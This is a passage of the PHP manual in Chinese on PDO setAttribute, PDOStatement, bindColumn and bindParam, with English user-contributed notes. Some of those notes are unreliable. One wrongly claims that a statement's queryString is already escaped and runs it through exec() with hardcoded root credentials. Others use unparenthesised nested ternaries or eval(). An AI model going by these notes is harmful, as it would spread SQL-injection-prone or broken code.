setAttribute(ATTRIBUTE, OPTION);

So, if I wanted to ensure that the column names returned from a query were returned in the case the database driver returned them (rather than having them returned in all upper case [as is the default on some of the PDO extensions]), I would do the following:

<?php
// Create a new database connection.
$dbConnection = new PDO($dsn, $user, $pass);

// Set the case in which to return column_names.
$dbConnection->setAttribute(PDO::ATTR_CASE, PDO::CASE_NATURAL);
?>

Hope this helps some of you who learn by example (as is the case with me).

.Colin
gregory dot szorc at gmail dot com 14-Feb-2007 08:32
It is worth noting that not all attributes may be settable via setAttribute().  For example, PDO::MYSQL_ATTR_MAX_BUFFER_SIZE is only settable in PDO::__construct().  You must pass PDO::MYSQL_ATTR_MAX_BUFFER_SIZE as part of the optional 4th parameter to the constructor.  This is detailed in http://bugs.php.net/bug.php?id=38015
m dot leuffen at gmx dot de 25-Jul-2006 06:44
Hi,

if you are wondering about a size-bound (1 MB) on blob and text fields after upgrading to PHP5.1.4. You might try to increase this limit by using the setAttribute() method.

This will fail. Instead use the options array when instantiating the pdo:

$pdo = new PDO ("connection_settings", "user", "pass", array
(PDO::MYSQL_ATTR_MAX_BUFFER_SIZE=>1024*1024*50));

This should fix the problem and increase the limit to 50 MB.

Bye,
  Matthias


PDOStatement 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 1.0.0)

简介

代表一条预处理语句，并在该语句被执行后代表一个相关的结果集。

类摘要

class PDOStatement {
/* 属性 */
public string $queryString;
/* 方法 */
public bindColumn(
string|int $column,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool
public bindParam(
string|int $param,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool
public bindValue(string|int $param, mixed $value, int $type = PDO::PARAM_STR): bool
public closeCursor(): bool
public columnCount(): int
public debugDumpParams(): ?bool
public errorCode(): ?string
public errorInfo(): array
public execute(?array $params = null): bool
public fetch(int $mode = PDO::FETCH_DEFAULT, int $cursorOrientation = PDO::FETCH_ORI_NEXT, int $cursorOffset = 0): mixed
public fetchAll(int $mode = PDO::FETCH_DEFAULT): array
public fetchAll(int $mode = PDO::FETCH_COLUMN, int $column): array
public fetchAll(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs): array
public fetchAll(int $mode = PDO::FETCH_FUNC, callable $callback): array
public fetchColumn(int $column = 0): mixed
public fetchObject(?string $class = "stdClass", array $constructorArgs = []): object|false
public getAttribute(int $name): mixed
public getColumnMeta(int $column): array|false
public getIterator(): Iterator
public nextRowset(): bool
public rowCount(): int
public setAttribute(int $attribute, mixed $value): bool
public setFetchMode(int $mode): bool
public setFetchMode(int $mode = PDO::FETCH_COLUMN, int $colno): bool
public setFetchMode(int $mode = PDO::FETCH_CLASS, string $class, ?array $constructorArgs = null): bool
public setFetchMode(int $mode = PDO::FETCH_INTO, object $object): bool
}

属性

queryString

所用的查询字符串

更新日志

版本 | 说明
8.0.0 | 现在 PDOStatement 的实现不是 Traversable 而是 IteratorAggregate。

Table of Contents

  • PDOStatement::bindColumn — 绑定一列到一个 PHP 变量
  • PDOStatement::bindParam — 绑定一个参数到指定的变量名
  • PDOStatement::bindValue — 把一个值绑定到一个参数
  • PDOStatement::closeCursor — 关闭游标，使语句能再次被执行
  • PDOStatement::columnCount — 返回结果集中的列数
  • PDOStatement::debugDumpParams — 打印一条 SQL 预处理命令
  • PDOStatement::errorCode — 获取跟上一次语句句柄操作相关的 SQLSTATE
  • PDOStatement::errorInfo — 获取跟上一次语句句柄操作相关的扩展错误信息
  • PDOStatement::execute — 执行预处理语句
  • PDOStatement::fetch — 从结果集中获取下一行
  • PDOStatement::fetchAll — 从结果集中获取剩余的行
  • PDOStatement::fetchColumn — 从结果集中的下一行返回单独的一列
  • PDOStatement::fetchObject — 获取下一行并作为一个对象返回
  • PDOStatement::getAttribute — 检索语句属性
  • PDOStatement::getColumnMeta — 返回结果集中一列的元数据
  • PDOStatement::getIterator — Gets result set iterator
  • PDOStatement::nextRowset — 在一个多行集合语句句柄中推进到下一个行集合
  • PDOStatement::rowCount — 返回受上一个 SQL 语句影响的行数
  • PDOStatement::setAttribute — 设置一个语句属性
  • PDOStatement::setFetchMode — 为语句设置默认的获取模式

User Contributed Notes

nmurzin at mail dot ru 09-Dec-2020 08:22
I think I found a way to execute a protected SQL query and at the same time find out the number of affected records.
I have the table 'tbl_users' with the following fields: id, login, password, age

<?
const DB_DRIVER = "mysql";
const DB_HOST = "localhost";
const DB_NAME = "my_db_name";
const DB_LOGIN = "root";
const DB_PASS = "root"; //OpenServer.

$connectionString = DB_DRIVER.':host='.DB_HOST.';dbname='.DB_NAME;
try
{
    //Connect to database.
    $db = new PDO($connectionString, DB_LOGIN, DB_PASS);
}
catch(PDOException $e)
{
    die("Error: ".$e->getMessage());
}
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

try
{

    //Decreasing age for user 'nick1'.
    $prep1 = $db->prepare("UPDATE tbl_users SET age=age-1 WHERE login='nick1'");

    //Increasing age for user 'nick2'.
    $prep2 = $db->prepare("UPDATE tbl_users SET \r\n age=age+1 WHERE login='nick2'");

    //Start transaction.
    $db->beginTransaction(); //Table type must be InnerDB!

    //We assume that everything will be fine.
    $flagDone = true;

    //The exec() method returns the number of rows affected by the query.
    //$prep1->queryString is already an escaped SQL string.
    $result = $db->exec($prep1->queryString);
    if($result==false || $result!=1) //var_dump($result) - int(1) or bool(false).
        $flagDone = false;

    $result = $db->exec($prep2->queryString);
    if($result==false || $result!=1)
        $flagDone = false;

    if($flagDone)
    {
        if($db->commit())
            echo "Transaction was successful";
    }
    else{
            echo "Transaction fail";
            $db->rollback();
    }
    echo "<br>";

}
catch(PDOException $e)
{
    die("Error: ".$e->getMessage());
}
Gino D. 17-Oct-2017 10:01
I don't know why PDOStatement don't return "execution time" and "found rows" so here I created an extended class of PDOStatement with these attributes.

Just have to "setAttribute" of PDO's object to $PDO->setAttribute(\PDO::ATTR_STATEMENT_CLASS , ['\customs\PDOStatement', [&$this]]);

<?php

/**
*
*
*
*/

namespace customs;

/**
*
*
*
*/

final class PDOStatement extends \PDOStatement {

    /**
    *
    *
    *
    */

    protected $PDO = null;
    protected $inputParams = [];
    protected $executionTime = 0;
    protected $resultCount = 0;

    /**
    *
    *
    *
    */

    protected function __construct(PDO &$PDO) {
        $this->PDO = $PDO;
        $this->executionTime = microtime(true);
    }

    /**
    *
    *
    *
    */

    final public function getExecutionError(int $i = 2) {
        $executionError = $this->errorInfo();

        if (isset($executionError[$i]))
            return $executionError[$i];

        return $executionError;
    }

    /**
    *
    *
    *
    */

    final public function getExecutionTime($numberFormat = false, $decPoint = '.', $thousandsSep = ',') {
        if (is_numeric($numberFormat))
            return number_format($this->executionTime, $numberFormat, $decPoint, $thousandsSep);

        return $this->executionTime;
    }

    /**
    *
    *
    *
    */

    final public function getResultCount($numberFormat = false, $decPoint = '.', $thousandsSep = ',') {
        if (is_numeric($numberFormat))
            return number_format($this->resultCount, $numberFormat, $decPoint, $thousandsSep);

        return $this->resultCount;
    }

    /**
    *
    *
    *
    */

    final public function getLastInsertId() {
        return $this->PDO->lastInsertId();
    }

    /**
    *
    *
    *
    */

    final public function bindValues(array $inputParams) {
        foreach ($this->inputParams = array_values($inputParams) as $i => $value) {
            $varType = is_null($value) ? \PDO::PARAM_NULL : is_bool($value) ? \PDO::PARAM_BOOL : is_int($value) ? \PDO::PARAM_INT : \PDO::PARAM_STR;

            if (!$this->bindValue(++ $i, $value, $varType))
                return false;
        }

        return true;
    }

    /**
    *
    *
    *
    */

    final public function execute($inputParams = null) {
        if ($inputParams)
            $this->inputParams = $inputParams;

        if ($executed = parent::execute($inputParams))
            $this->executionTime = microtime(true) - $this->executionTime;

        return $executed;
    }

    /**
    *
    *
    *
    */

    final public function fetchAll($how = null, $className = null, $ctorArgs = null) {
        $resultSet = parent::fetchAll(... func_get_args());

        if (!empty($resultSet)) {
            $queryString = $this->queryString;
            $inputParams = $this->inputParams;

            if (preg_match('/(.*)?LIMIT/is', $queryString, $match))
                $queryString = $match[1];

            $queryString = sprintf('SELECT COUNT(*) AS T FROM (%s) DT', $queryString);

            if (($placeholders = substr_count($queryString, '?')) < count($inputParams))
                $inputParams = array_slice($inputParams, 0, $placeholders);

            if (($sth = $this->PDO->prepare($queryString)) && $sth->bindValues($inputParams) && $sth->execute())
                $this->resultCount = $sth->fetchColumn();

            $sth = null;
        }

        return $resultSet;
    }
}
?>


绑定一列到一个 PHP 变量

  • ? PDOStatement
  • PDOStatement::bindParam ?
  • PHP Manual
  • PDOStatement
  • 绑定一列到一个 PHP 变量

PDOStatement::bindColumn

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::bindColumn — 绑定一列到一个 PHP 变量

说明

public PDOStatement::bindColumn(
string|int $column,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool

PDOStatement::bindColumn() 安排特定变量绑定到查询结果集中的指定列。每次调用 PDOStatement::fetch() 或 PDOStatement::fetchAll() 都将更新所有绑定到列的变量。

Note:

在语句执行前 PDO 有关列的信息并非总是可用，可移植的应用应在 PDOStatement::execute() 之后 调用此函数（方法）。

但是，当使用 PgSQL 驱动时，要想能绑定 LOB 列作为流，应用程序必须在调用 PDOStatement::execute() 之前 调用此方法，否则大对象 OID 作为整数返回。

参数

column

结果集中的列号（从1开始索引）或列名。如果使用列名，注意名称应该与由驱动返回的列名大小写保持一致。

var

将绑定到列的 PHP 变量名称

type

通过 PDO::PARAM_* 常量指定的参数的数据类型。

maxLength

预分配提示。

driverOptions

驱动的可选参数。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 把结果集输出绑定到 PHP 变量

绑定结果集中的列到PHP变量是一种使每行包含的数据在应用程序中立即可用的有效方法。下面的示例演示了 PDO 怎样用多种选项和缺省值绑定和检索列。

<?php
$stmt = $dbh->prepare('SELECT name, colour, calories FROM fruit');
$stmt->execute();

/* 通过列号绑定 */
$stmt->bindColumn(1, $name);
$stmt->bindColumn(2, $colour);

/* 通过列名绑定 */
$stmt->bindColumn('calories', $cals);

while ($stmt->fetch(PDO::FETCH_BOUND)) {
print $name . "\t" . $colour . "\t" . $cals . "\n";
}

以上示例的输出类似于：

apple   red     150
banana  yellow  175
kiwi    green   75
orange  orange  150
mango   red     200
strawberry      red     25

参见

  • PDOStatement::execute() - 执行预处理语句
  • PDOStatement::fetch() - 从结果集中获取下一行
  • PDOStatement::fetchAll() - 从结果集中获取剩余的行
  • PDOStatement::fetchColumn() - 从结果集中的下一行返回单独的一列

User Contributed Notes

Moses Blumenstiel 05-Jan-2021 05:34
I wanted to efficiently bind columns and then put everything into one array.

<?php

        $columns = array(
            'DEVICE_CONFIG' => '',
            'CONSUMABLE_INFO' => '',
            'DEVICE_UNIQUE_ID' => '',
            'STATUS' => '',
            'STATUS_MESSAGE' => '',
            'LAST_MESSAGE_TIME' => '',
            'DEVICE_DESCRIPTION' => ''
        );

        $statement = $this->connection->prepare($sql);

        $statement->execute();

        $x = 1;
        foreach($columns as $column => $index){
            $$column = $index;
            eval('$statement->bindColumn(' . $x++ . ', $' . $column . ');');
        }

        $output= array();
        while($statement->fetch(\PDO::FETCH_BOUND)){
            $temp = array();
            foreach($columns as $columnName => $val){
                eval("\$data = \$$columnName;");
                $temp[$columnName] = $data;
            }
            $output[] = $temp;
        }
?>


绑定一个参数到指定的变量名

  • ? PDOStatement::bindColumn
  • PDOStatement::bindValue ?
  • PHP Manual
  • PDOStatement
  • 绑定一个参数到指定的变量名

PDOStatement::bindParam

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 0.1.0)

PDOStatement::bindParam — 绑定一个参数到指定的变量名

说明

public PDOStatement::bindParam(
string|int $param,
mixed &$var,
int $type = PDO::PARAM_STR,
int $maxLength = 0,
mixed $driverOptions = null
): bool

绑定一个PHP变量到用作预处理的SQL语句中的对应命名占位符或问号占位符。 不同于 PDOStatement::bindValue() ，此变量作为引用被绑定，并只在 PDOStatement::execute() 被调用的时候才取其值。

大多数参数是输入参数，即，参数以只读的方式用来建立查询（但仍然可以根据 type 进行转换）。一些驱动支持调用存储过程并作为输出参数返回数据，一些支持作为输入/输出参数，既发送数据又接收更新后的数据。

参数

param

参数标识符。对于使用命名占位符的预处理语句，应是类似 :name 形式的参数名。对于使用问号占位符的预处理语句，应是以1开始索引的参数位置。

var

绑定到 SQL 语句参数的 PHP 变量名。

type

使用 PDO::PARAM_* 常量明确地指定参数的类型。要从存储过程中返回 INOUT 参数，需要为 type 参数使用按位或操作符去设置 PDO::PARAM_INPUT_OUTPUT 位。

maxLength

数据类型的长度。为表明参数是一个存储过程的 OUT 参数，必须明确地设置此长度。 仅当 type 参数为 PDO::PARAM_INPUT_OUTPUT 时才有意义。

driverOptions

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 执行一条使用命名占位符的预处理语句

<?php
/* 通过绑定的 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
/* 名称也可以以冒号":"为前缀（可选）*/
$sth->bindParam(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

Example #2 执行一条使用问号占位符的预处理语句

<?php
/* 通过绑定的 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < ? AND colour = ?');
$sth->bindParam(1, $calories, PDO::PARAM_INT);
$sth->bindParam(2, $colour, PDO::PARAM_STR);
$sth->execute();
?>

Example #3 使用 INOUT 参数调用一个存储过程

<?php
/* 使用 INOUT 参数调用一个存储过程 */
$colour = 'red';
$sth = $dbh->prepare('CALL puree_fruit(?)');
$sth->bindParam(1, $colour, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 12);
$sth->execute();
print "After pureeing fruit, the colour is: $colour";
?>

参见

  • PDO::prepare() - 预处理要执行的语句，并返回语句对象
  • PDOStatement::execute() - 执行预处理语句
  • PDOStatement::bindValue() - 把一个值绑定到一个参数

User Contributed Notes

marco dot marsala at live dot it 23-Nov-2023 08:26
Examples doesn't highlight that this works as expected:

<?php
/* Execute a prepared statement by binding PHP variables */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
/* Names can be prefixed with colons ":" too (optional) */
$sth->bindParam(':colour', $colour, PDO::PARAM_STR);
$calories = 150;
$colour = 'red';
$sth->execute();
?>

calories get set to 150 in db, colour get set to red in db, because, as documentation points out: "the variable is bound as a reference and will only be evaluated at the time that PDOStatement::execute() is called."
weronika dot nowak dot code at gmail dot com 17-Oct-2022 10:55
??????
<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

It's true, this ? won't work but you can use concatenation ?:

<?php
$q = "SELECT id, name FROM test WHERE name like '%' ||
:foo || '%' ";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>
jcastromail at yahoo dot es 04-Feb-2022 02:20
PHP 8.1 changed the way how this method works.

Now, the fourth method must not be null. It could be 0 (for an int) but it could not be null, otherwise, it will raise a deprecated warning.

old:
$sth->bindParam('calories', $calories, PDO::PARAM_INT);
new:
$sth->bindParam('calories', $calories, PDO::PARAM_INT,0);
Tristen Edwin 14-Jul-2018 09:41
Here's how to build a dynamic WHERE LIKE at run time when the user can submit n keywords

<?php

if (array_key_exists('storyPieces', $_POST)) {
    $story_pieces = explode(',' $_POST['storyPieces']);
        foreach($story_pieces as $piece) {
        if ($conditional_count == 0) {
            $where_clause .= 'story LIKE ? ';
            $conditional_count++;
       } else {
            $where_clause .= 'AND story LIKE ? ';
            $conditional_count++;
       }
       }
}

// then after you've prepared

if (isset($story_pieces)) {
    foreach($story_pieces as $key => &$piece) {
        $piece = "%" . $piece . "%";
        $sth->bindParam($key + 1, $piece, PDO::PARAM_STR);
    }
}

?>
Ejaz Ansari 11-Mar-2016 03:40
For those who are confused on insert query using PDO-bindparam:

$sql = $db->prepare("INSERT INTO db_fruit (id, type, colour) VALUES (? ,? ,?)");

$sql->bindParam(1, $newId);
$sql->bindParam(2, $name);
$sql->bindParam(3, $colour);
$sql->execute();
heather dot begazo at gmail dot com 09-Apr-2015 05:56
The documentation says this about the length parameter for bindParam:

"To indicate that a parameter is an OUT parameter from a stored procedure, you must explicitly set the length. "

For db2, I found that setting the length for the "INPUT_OUTPUT" parameters causes a problem for varchar parameters that are input parameters.  The problem I found is that the stored procedure was called, but varchar input parameters were set to null inside my stored procedure and as a result, the stored procedure could not work properly.

Here is the signature for my stored procedure:

CREATE OR REPLACE PROCEDURE MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME ( IN RUN_ID INTEGER,IN V_SCHEMA_NAME VARCHAR(128),
  OUT out_rc INTEGER,OUT out_err_message VARCHAR(100),OUT out_sqlstate CHAR(5) ,OUT out_sqlcode INT)

Here is the php code that works:

$command = "Call MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME (?,?,?,?,?,?,?)";
$stmt = $this->GuestDb->prepare($command);
$stmt->bindParam(1, $RUN_ID, PDO::PARAM_INT);
$stmt->bindParam(2, $V_SCHEMA_NAME, PDO::PARAM_STR);
$stmt->bindParam(3, $V_TABNAME, PDO::PARAM_STR);
$stmt->bindParam(4, $out_rc, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(5, $out_err_message, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(6, $out_sqlstate, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT);
$stmt->bindParam(7, $out_sqlcode, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);

Here is the php code that does not work:

$command = "Call MY_SCHEMA_NAME.MY_STORED_PROCEDURE_NAME (?,?,?,?,?,?,?)";
$stmt = $this->GuestDb->prepare($command);
$stmt->bindParam(1, $RUN_ID, PDO::PARAM_INT,12);
$stmt->bindParam(2, $V_SCHEMA_NAME, PDO::PARAM_STR,128);
$stmt->bindParam(3, $V_TABNAME, PDO::PARAM_STR,100);
$stmt->bindParam(4, $out_rc, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT,12);
$stmt->bindParam(5, $out_err_message, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT,100);
$stmt->bindParam(6, $out_sqlstate, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT,6);
$stmt->bindParam(7, $out_sqlcode, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT,12);
gilhildebrand at gmail dot com 02-Feb-2015 04:50
MySQL will return an error if a named placeholder has a hyphen in it:
UPDATE wardrobe SET `T-Shirt`=:T-SHIRT WHERE id=:id

Will return the following error: PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: parameter was not defined'

To resolve, just remove hyphens from named placeholders:
UPDATE wardrobe SET `T-Shirt`=:TSHIRT WHERE id=:id
Vladimir Kovpak 02-Feb-2015 01:08
<?php
/**
 * Bind bit value:
 */

$sql = 'SELECT * FROM myTable WHERE level & ?';
$sth = \App::pdo()->prepare($sql);
$sth->bindValue(1, 0b0101, \PDO::PARAM_INT);
$sth->execute();
$result = $sth->fetchAll(\PDO::FETCH_ASSOC);
luis dot nestesitio at gmail dot com 11-Dec-2014 10:22
Avoid to use a param with dot like ":table.column".
It will return a error 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: parameter was not defined' in ...
Ofir Attia 19-Jul-2014 06:09
/*
   method for pdo class connection, you can add your cases by    yourself and use it.
*/
class Conn{
....
....
private $stmt;
public function bind($parameter, $value, $var_type = null){
        if (is_null($var_type)) {
            switch (true) {
                               case is_bool($value):
                    $var_type = PDO::PARAM_BOOL;
                    break;
                case is_int($value):
                    $var_type = PDO::PARAM_INT;
                    break;
                case is_null($value):
                    $var_type = PDO::PARAM_NULL;
                    break;
                default:
                    $var_type = PDO::PARAM_STR;
            }
        }
        $this->stmt->bindValue($parameter, $value, $var_type);
    }
pegas1981 at yandex dot ru 16-Dec-2013 11:56
http://technet.microsoft.com/en-us/library/ff628166(v=sql.105).aspx

When binding null data to server columns of type varbinary, binary, or varbinary(max) you should specify binary encoding (PDO::SQLSRV_ENCODING_BINARY) using the $driver_options. See Constants for more information about encoding constants.
Support for PDO was added in version 2.0 of the Microsoft Drivers for PHP for SQL Server.

 <?php
$db = new PDO('sqlsrv:server=SQLSERVERNAME;Database=own_exchange', 'user', 'password');
$sql = "INSERT INTO dbo.files(file_name, file_source) VALUES(:file_name, :file_source)";
$stmt = $db->prepare($sql);
$stmt->bindParam(":file_name", $files->name, PDO::PARAM_STR);
$stmt->bindParam(":file_source", file_get_contents($files->tempName), PDO::PARAM_LOB, 0, PDO::SQLSRV_ENCODING_BINARY);
$stmt->execute();
?>
Mike Robinson 26-Jan-2013 11:56
Note that with bindParam the second parameter is passed by reference. This means that the following will produce a warning if E_STRICT is enabled:

<?php
$stmt->bindParam('type', $object->getType());

// Strict Standards: Only variables should be passed by reference in /path/to/file.php on line 123
?>

If the second parameter is not an actual variable, either set the result of $object->getType(); to a variable and use that variable in bindParam or use bindValue instead.
flannell 21-Aug-2012 12:27
Spent all day banging my head against a brick wall.

Tried to use INOUT or OUT and getting the return variable into PHP using Mysql v5.5.16 on XAMPP.

"MySQL doesn't supporting binding output parameters via its C API.  You must use SQL level variables:"

<?php
$stm = $db->prepare("CALL sp_mysp(:Name, :Email, @sp_result)");

$outputArray = $db->query("select @sp_result")->fetch(PDO::FETCH_ASSOC);
?>

So the 'workaround' for Mysql and PDO is to use two SQL calls.

Hope this helps someone.
khkiley at adamsautomation dot com 20-Aug-2012 09:56
SQL Server 2008 R2

If this was in the documentation, I didn't stumble across it. When using bound output parameters with a stored procedure, the output parameters are updated AFTER the LAST rowset has been processed.

If your stored procedure does not return any rowsets (no SELECT statements) then you are set, your output parameters will be ready as soon as the stored procedure is processed.

Otherwise you need to process the rows, and then:
<?php $stmt->nextRowset(); ?>

Once that is done for each returning rowset you will have access to the output parameters.
cyrylas at gmail dot com 10-Jan-2011 01:23
Please note, that PDO format numbers according to current locale. So if, locale set number format to something else, that standard that query WILL NOT work properly.

For example:
in Polish locale (pl_PL) proper decimal separator is coma (","), so: 123,45, not 123.45. If we try bind 123.45 to the query, we will end up with coma in the query.

<?php
setlocale(LC_ALL, 'pl_PL');
$sth = $dbh->prepare('SELECT name FROM products WHERE price < :price');
$sth->bindParam(':price', 123.45, PDO::PARAM_STR);
$sth->execute();
// result:
// SELECT name FROM products WHERE price < '123,45';
?>
ReK_ 19-Oct-2010 10:59
This confused me for some time because it is never explicitly mentioned, but PDO will automagically encapsulate parameters for you, so a prepared query that is manually escaped like so:

"INSERT INTO table (column) VALUES (':value');"

Will actually end up being double-quoted and can cause problems.
atrandafirc at yahoo dot com 31-Aug-2010 06:37
I know this has been said before but I'll write a note on it too because I think it's important to keep in mind:

If you use PDO bindParam to do a search with a LIKE condition you cannot put the percentages and quotes to the param placeholder '%:keyword%'.

This is WRONG:
"SELECT * FROM `users` WHERE `firstname` LIKE '%:keyword%'";

The CORRECT solution is to leave clean the placeholder like this:
"SELECT * FROM `users` WHERE `firstname` LIKE :keyword";

And then add the percentages to the php variable where you store the keyword:
$keyword = "%".$keyword."%";

And finally the quotes will be automatically added by PDO when executing the query so you don't have to worry about them.

So the full example would be:
<?php
// Get the keyword from query string
$keyword = $_GET['keyword'];
// Prepare the command
$sth = $dbh->prepare('SELECT * FROM `users` WHERE `firstname` LIKE :keyword');
// Put the percentage sing on the keyword
$keyword = "%".$keyword."%";
// Bind the parameter
$sth->bindParam(':keyword', $keyword, PDO::PARAM_STR);
?>
sergiy dot sokolenko at gmail dot com 02-Jul-2010 03:22
Note that you cannot mix named and positional parameters in one query:

<?php
$stmt = $conn->prepare('SELECT * FROM employees WHERE name LIKE :name OR email LIKE ?');
$name = 'John%';
$email = 'john%';

$stmt->bindParam(':name', $name);
$stmt->bindParam(1, $email);

$stmt->execute();
?>

Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[HY093]: Invalid parameter number: mixed named and positional parameters' in ...

Running PHP 5.3.2 on Linux x86-64
Vili 28-May-2010 12:01
This works ($val by reference):
<?php
foreach ($params as $key => &$val) {
    $sth->bindParam($key, $val);
}
?>

This will fail ($val by value, because bindParam needs &$variable):
<?php
foreach ($params as $key => $val) {
    $sth->bindParam($key, $val);
}
?>
geompse at gmail dot com 29-Jan-2010 03:30
if you are storing files (or binary data), using PARAM_LOB (and moreover trying to do this with Oracle), don't miss this page :

http://php.net/manual/en/pdo.lobs.php

You will there notice that PDO-PGSQL and PDO-OCI don't work the same at all : not the same argument nor the same behaviour.
Steve M 19-Nov-2009 11:28
Note that when using PDOStatement::bindParam an integer is changed to a string value upon PDOStatement::execute(). (Tested with MySQL).

This can cause problems when trying to compare values using the === operator.

Example:
<?php
$active = 1;
var_dump($active);
$ps->bindParam(":active", $active, PDO::PARAM_INT);
var_dump($active);
$ps->execute();
var_dump($active);
if ($active === 1) {
    // do something here
    // note: this will fail since $active is now "1"
}
?>

results in:
int(1)
int(1)
string(1) "1"
dhammari at q90 dot com 08-Jul-2009 11:22
There seems to be some confusion about whether you can bind a single value to multiple identical placeholders. For example:

$sql = "SELECT * FROM user WHERE is_admin = :myValue AND is_deleted = :myValue ";

$params = array("myValue" => "0");

Some users have reported that attempting to bind a single parameter to multiple placeholders yields a parameter mismatch error in PHP version 5.2.0 and earlier. Starting with version 5.2.1, however, this seems to work just fine.

For details, see bug report 40417:
http://bugs.php.net/bug.php?id=40417
jeffwa+php at gmail dot com 11-Jul-2007 01:49
Took me forever to find this elsewhere in the notes in the manual, so I'd thought I'd put this tidbit here to help others in the future.

When using a LIKE search in MySQL along with a prepared statement, the *value* must have the appropriate parentheses attached before the bindParam() statement as such:

<?php
$dbc = $GLOBALS['dbc'];
$sql = "SELECT * FROM `tbl_name` WHERE tbl_col LIKE ?";
$stmt = $dbc->prepare($sql);

$value = "%{$value}%";
$stmt->bindParam($i, $value, PDO::PARAM_STR);
?>

Trying to use
<?php
$stmt->bindParam($i, "%{$value}%", PDO::PARAM_STR);
?>

will fail.
willie at spenlen dot com 14-Jun-2007 11:49
If you're using the MySQL driver and have a stored procedure with an OUT or INOUT parameter, you can't (currently) use bindValue(). See http://bugs.php.net/bug.php?id=35935 for a workaround.
Filofox 10-Apr-2006 03:09
Do not try to use the same named parameter twice in a single SQL statement, for example

<?php
$sql = 'SELECT * FROM some_table WHERE  some_value > :value OR some_value < :value';
$stmt = $dbh->prepare($sql);
$stmt->execute( array( ':value' => 3 ) );
?>

...this will return no rows and no error -- you must use each parameter once and only once. Apparently this is expected behavior (according to this bug report: http://bugs.php.net/bug.php?id=33886)  because of portability issues.
05-Feb-2006 02:25
A caution for those using bindParam() on a placeholder in a
LIKE '%...%' clause, the following code will likely not work:

<?php
$q = "SELECT id, name FROM test WHERE name like '%:foo%'";
$s = "carrot";
$sth = $dbh->prepare($q);
$sth->bindParam(':foo', $s);
$sth->execute();
?>

What is needed is something like the following:

<?php
$s = "%$s%";
$sth->bindParam(':foo', $s);
?>

This should work. Tested against mysql 4.1, PHP 5.1.3.


把一个值绑定到一个参数

  • ? PDOStatement::bindParam
  • PDOStatement::closeCursor ?
  • PHP Manual
  • PDOStatement
  • 把一个值绑定到一个参数

PDOStatement::bindValue

(PHP 5 >= 5.1.0, PHP 7, PHP 8, PECL pdo >= 1.0.0)

PDOStatement::bindValue — 把一个值绑定到一个参数

说明

public PDOStatement::bindValue(string|int $param, mixed $value, int $type = PDO::PARAM_STR): bool

绑定一个值到用作预处理的 SQL 语句中的对应命名占位符或问号占位符。

参数

param

参数标识符。对于使用命名占位符的预处理语句，应是类似 :name 形式的参数名。对于使用问号占位符的预处理语句，应是以1开始索引的参数位置。

value

绑定到参数的值

type

使用 PDO::PARAM_* 常量明确地指定参数的类型。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_WARNING，则发出级别为 E_WARNING 的错误。

如果属性 PDO::ATTR_ERRMODE 设置为 PDO::ERRMODE_EXCEPTION，则抛出 PDOException。

示例

Example #1 执行一条使用命名占位符的预处理语句

<?php
/* 通过绑定的 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
FROM fruit
WHERE calories < :calories AND colour = :colour');

/* 使用名字设置参数值 */
$sth->bindValue('calories', $calories, PDO::PARAM_INT);
/* 视需要，参数名也可以以冒号":"为前缀 */
$sth->bindValue(':colour', $colour, PDO::PARAM_STR);
$sth->execute();
?>

Example #2 执行一条使用问号占位符的预处理语句

<?php
/* 通过绑定的 PHP 变量执行一条预处理语句 */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
